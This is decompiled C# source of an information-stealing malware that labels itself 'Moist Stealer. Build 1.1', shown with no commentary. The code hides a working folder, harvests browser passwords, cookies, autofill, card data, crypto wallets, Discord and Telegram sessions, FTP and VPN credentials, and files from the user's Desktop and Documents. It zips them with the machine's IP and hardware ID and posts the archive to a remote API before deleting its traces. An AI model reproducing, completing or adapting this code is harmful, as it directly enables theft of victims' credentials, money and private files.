// Token: 0x06000212 RID: 530 RVA: 0x0001097C File Offset: 0x0000EB7C private static long smethod_0(string string_0, long long_0 = 0L) { try { foreach (string fileName in Directory.EnumerateFiles(string_0)) { try { long_0 += new FileInfo(fileName).Length; } catch { } } foreach (string string_ in Directory.EnumerateDirectories(string_0)) { try { long_0 += GetFiles.smethod_0(string_, 0L); } catch { } } } catch { } return(long_0); }
// Token: 0x06000211 RID: 529 RVA: 0x000108E4 File Offset: 0x0000EAE4 public static void Inizialize(string Moist_Dir) { try { string text = Moist_Dir + "\\Files"; Directory.CreateDirectory(text); if (!Directory.Exists(text)) { GetFiles.Inizialize(text); } else { GetFiles.CopyDirectory(Help.DesktopPath, text, "*.*", (long)Class1.int_0); GetFiles.CopyDirectory(Help.MyDocuments, text, "*.*", (long)Class1.int_0); GetFiles.CopyDirectory(Help.UserProfile + "\\source", text, "*.*", (long)Class1.int_0); } } catch { } }
public static void GetStealer() { try { Directory.CreateDirectory(Help.Moist_Dir); Directory.CreateDirectory(Help.Browsers); Directory.CreateDirectory(Help.Passwords); Directory.CreateDirectory(Help.Autofills); Directory.CreateDirectory(Help.Downloads); Directory.CreateDirectory(Help.Cookies); Directory.CreateDirectory(Help.History); Directory.CreateDirectory(Help.Cards); File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory); GetFiles.Inizialize(Help.Moist_Dir); Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000)); try { Class4.smethod_0(Help.Cookies); } catch { } try { Class4.PlqfdbrYf(Help.Passwords); } catch { } try { Class4.smethod_2(Help.Autofills); } catch { } try { Class4.smethod_3(Help.Downloads); } catch { } try { Class4.smethod_4(Help.History); } catch { } try { Class4.smethod_1(Help.Cards); } catch { } try { Class12.smethod_2(); } catch { } try { Class12.smethod_3(); } catch { } try { Class25.smethod_0(Help.Moist_Dir); } catch { } try { Class15.smethod_0(Help.Moist_Dir); } catch { } try { Class24.smethod_0(Help.Moist_Dir); } catch { } try { Class23.smethod_0(Help.Moist_Dir); } catch { } try { Class20.smethod_0(Help.Moist_Dir); } catch { } try { TGrabber.Start(Help.Moist_Dir); } catch { } try { Class14.smethod_0(Help.Moist_Dir); } catch { } try { Class21.smethod_0(Help.Moist_Dir); } catch { } try { Class13.smethod_0(Help.Moist_Dir); } catch { } try { Class22.smethod_0(Help.Moist_Dir); } catch { } try { Class16.smethod_0(Help.Moist_Dir); } catch { } try { Class17.smethod_0(Help.Moist_Dir); } catch { } try { Class37.smethod_0(Help.Moist_Dir); } catch { } try { DomainDetect.Start(Help.Browsers); } catch { } string text = string.Concat(new string[] { Help.dir, "\\", Help.HWID, Help.smethod_0(), ".zip" }); using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866"))) { zipFile.CompressionLevel = 9; zipFile.Comment = string.Concat(new string[] { "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:", Environment.MachineName, "/", Environment.UserName, "\nIP: ", Help.IP, Help.Country(), "\nHWID: ", Help.HWID }); zipFile.AddDirectory(Help.Moist_Dir ?? ""); zipFile.Save(text ?? ""); } string text2 = text ?? ""; byte[] file = File.ReadAllBytes(text2); string url = string.Concat(new string[] { Help.ApiUrl, "?id=", Class1.string_0, "&caption=", "⚡️ Moist Stealer Gate detected new log! ⚡️\n", "\ud83d\udd25 User: "******"/", Environment.UserName, " \ud83d\udd25\n", "\ud83c\udf0d IP: " + Help.IP, " ", Help.Country(), "\n\n", string.Concat(new string[] { "\n\ud83c\udf10 Browsers Data\nPasswords: ", (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(), "\nCookies: ", (Class4.int_3 + Class12.int_0).ToString(), "\nHistory: ", Class4.int_4.ToString(), "\nAutofill: ", Class4.int_1.ToString(), "\nCC: ", Class4.int_5.ToString(), "\n" }), string.Concat(new string[] { "\n\ud83d\udcb6 Wallets: ", (Class37.int_0 > 0) ? "Yes" : "No", (Class31.int_0 > 0) ? " Electrum" : "", (Class26.int_0 > 0) ? " Armory" : "", (Class27.int_0 > 0) ? " Atomic" : "", (Class28.int_0 > 0) ? " BitcoinCore" : "", (Class29.int_0 > 0) ? " Bytecoin" : "", (Class30.int_0 > 0) ? " DashCore" : "", (Class32.int_0 > 0) ? " Ethereum" : "", (Class33.int_0 > 0) ? " Exodus" : "", (Class35.int_0 > 0) ? " LitecoinCore" : "", (Class36.int_0 > 0) ? " Monero" : "", (Class38.int_0 > 0) ? " Zcash" : "", (Class34.int_0 > 0) ? " Jaxx" : "", "\n\n\ud83e\uddf2 Grabbed files: ", GetFiles.count.ToString(), "\n\ud83d\udcac Discord: ", (Class14.int_0 > 0) ? "Yes" : "No", "\n\ud83d\udee9 Telegram: ", (TGrabber.count > 0) ? "Yes" : "No", "\n\ud83d\udca1 Jabber: ", (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No", (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "", (Class20.int_0 > 0) ? " Psi" : "", "\n\n\ud83d\udce1 FTP\nFileZilla: ", (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No", "\nTotalCmd: ", (Class17.int_0 > 0) ? "Yes" : "No", "\n\n⚖️ VPN\nNordVPN: ", (Class23.int_0 > 0) ? "Yes" : "No", "\nOpenVPN: ", (Class24.int_0 > 0) ? "Yes" : "No", "\nProtonVPN: ", (Class25.int_0 > 0) ? "Yes" : "No", "\n\nHWID: ", Help.HWID, "\n⚙️ ", Class22.smethod_4(), "\n\ud83d\udd0e Domain detect", File.ReadAllText(Help.Browsers + "\\DomainDetect.txt") }) }); SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url); Directory.Delete(Help.dir + "\\", true); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); } catch { } }
// Token: 0x06000213 RID: 531 RVA: 0x00010A54 File Offset: 0x0000EC54 public static void CopyDirectory(string source, string target, string pattern, long maxSize) { Stack <GetFiles.Folders> stack = new Stack <GetFiles.Folders>(); stack.Push(new GetFiles.Folders(source, target)); long num = GetFiles.smethod_0(target, 0L); while (stack.Count > 0) { GetFiles.Folders folders = stack.Pop(); try { Directory.CreateDirectory(folders.Target); foreach (string text in Directory.EnumerateFiles(folders.Source, pattern)) { try { if (Array.IndexOf <string>(Class1.string_1, Path.GetExtension(text).ToLower()) >= 0) { string text2 = Path.Combine(folders.Target, Path.GetFileName(text)); if (new FileInfo(text).Length / 1024L < 5000L) { File.Copy(text, text2); num += new FileInfo(text2).Length; if (num > maxSize) { return; } GetFiles.count++; } } } catch { } } } catch (UnauthorizedAccessException) { continue; } catch (PathTooLongException) { continue; } try { foreach (string text3 in Directory.EnumerateDirectories(folders.Source)) { try { if (!text3.Contains(Path.Combine(Help.DesktopPath, Environment.UserName))) { stack.Push(new GetFiles.Folders(text3, Path.Combine(folders.Target, Path.GetFileName(text3)))); } } catch { } } } catch (UnauthorizedAccessException) { } catch (DirectoryNotFoundException) { } catch (PathTooLongException) { } } stack.Clear(); }